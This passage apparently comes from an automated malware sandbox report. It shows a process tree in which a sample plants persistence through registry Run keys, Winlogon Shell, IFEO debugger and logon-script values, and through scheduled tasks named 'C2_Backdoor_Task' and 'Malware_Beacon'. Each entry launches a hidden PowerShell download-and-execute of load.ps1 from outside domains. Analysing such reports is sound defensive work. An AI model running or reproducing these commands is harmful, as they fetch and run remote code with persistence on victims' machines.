    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /f
  2⤵
  PID:8636
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /f
    3⤵
    PID:10816
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:8796
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /f
    3⤵
    PID:6440
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:8880
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /f
    3⤵
    PID:10584
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:8888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6528
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /f
  2⤵
  PID:8996
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /f
    3⤵
    PID:10572
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:9004
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10964
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:9016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5948
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
  2⤵
  PID:9024
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
    3⤵
    PID:5884
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:9096
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
    3⤵
    PID:8052
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /f
  2⤵
  PID:9176
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /f
    3⤵
    PID:5644
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:9200
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6520
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:6884
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /f
    3⤵
    PID:10668
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /f
  2⤵
  PID:7108
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /f
    3⤵
    PID:10752
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
  2⤵
  PID:9064
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
    3⤵
    PID:7660
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:8484
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10128
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:8228
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6572
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:2200
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5980
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /f
  2⤵
  PID:9224
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /f
    3⤵
    PID:8712
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:9312
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4820
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /f
  2⤵
  PID:9352
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /f
    3⤵
    PID:1788
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /f
  2⤵
  PID:9360
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /f
    3⤵
    PID:5316
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:9396
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /f
    3⤵
    PID:10888
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:9416
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11236
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
  2⤵
  PID:9544
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
    3⤵
    PID:1936
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:9552
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:9348
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /f
  2⤵
  PID:9696
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /f
    3⤵
    PID:6016
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:9740
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7296
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /f
  2⤵
  PID:9752
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /f
    3⤵
    PID:9240
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /f
  2⤵
  PID:9800
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /f
    3⤵
    PID:11048
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
  2⤵
  PID:9860
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
    3⤵
    PID:4312
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:9876
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /f
  2⤵
  PID:10052
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /f
    3⤵
    PID:10824
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:10136
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11144
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:10176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7772
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:8000
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11160
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:3436
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7368
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:8848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10972
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:5612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11096
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:2968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5272
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:8692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2204

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')"
1⤵
PID:2196

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2392

C:\Windows\explorer.exe
